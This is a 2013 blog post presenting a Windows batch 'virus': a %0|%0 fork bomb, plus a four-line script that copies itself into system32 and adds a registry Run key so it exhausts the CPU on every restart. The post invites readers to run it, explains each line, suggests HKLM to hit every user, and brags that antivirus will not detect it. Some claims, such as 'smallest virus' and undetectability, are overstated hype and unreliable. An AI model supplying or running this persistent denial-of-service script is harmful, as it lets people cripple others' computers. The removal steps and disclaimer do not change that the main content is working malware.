Smallest Virus of the World!! 5 Characters can EAT your machine.

Posted on February 8, 2013

This Virus is dangerous and got the Smalest Code in World. 

You can Try this on your Computer. Just a Restart will make your Computer work Normal.

Go to Start  >  run  >  notepad...

Write this Command on notepad: %0|%0 (This is the Code for Virus)
Save the File with <anyname> and .bat extension eg. "hello.bat"...

Run the File and See the Magic....!!!

 This will eat you 100% CPU usage....

Now to add the functionality of auto execution on Restart, I will write some more code in Batch Programming.....

>>>>  @echo off
copy %0 %systemroot%\system32\kb.bat
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v kb /t REG_SZ /d %systemroot%\system32\kb.bat /f
%0|%0   <<<<

Save this code in notepad with anyname and .bat extension....

The four Line code above is Dangerous, This will take the CPU usage of Computer to 100% within 10 Sec. of Restart.
Almost No anti-Virus can Detect it, as it is Developed by us Manually.

Explanation of the Code:

@echo off = Output window should not display all the Commands Written on it, only output!!

copy %0 %systemroot%\system32\kb.bat = %0 means me or i or myself, so this command will copy this file in system32 with the name kb.bat

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v kb /t REG_SZ /d %systemroot%\system32\kb.bat /f  = this is the functionallity of c:\windows\system32\reg.exe to add registry in your computer, that will execute kb.bat on every restart. ( To make it more dangerous > use HKLM instead of HKCU)

HKLM will effect whole machine > Hive Keys Local Machine
HKCU will effect only the particular User account  > Hive Keys Current User

Last but not the Least %0|%0 will call command prompt at the speed of A^n(a raise to power n) and will gradually eat your CPU :0

Windows are too vulnerable > Use my OS, Will upload soon.. cheersss…

Note:
1) It is Dangerous, Newbies Don’t try it on your own machine(Try it on virtual Machine)
2) To rectify > Restart the computer in Safe mode and Delete kb.bat from C:\windows\sytem32
3) If you cannot switch on your computer in safe mode, Use Live OS like, Back track or Ubuntu or Fadora or my OS.
4) Don’t Mis-use your Knowlege

Disclaimer: Technicalnews.in or anyone associated with it, is not responsible for any Kind of Loss or damage to any intellectual or Physical Property due to above post. It is solely for Educational purpose.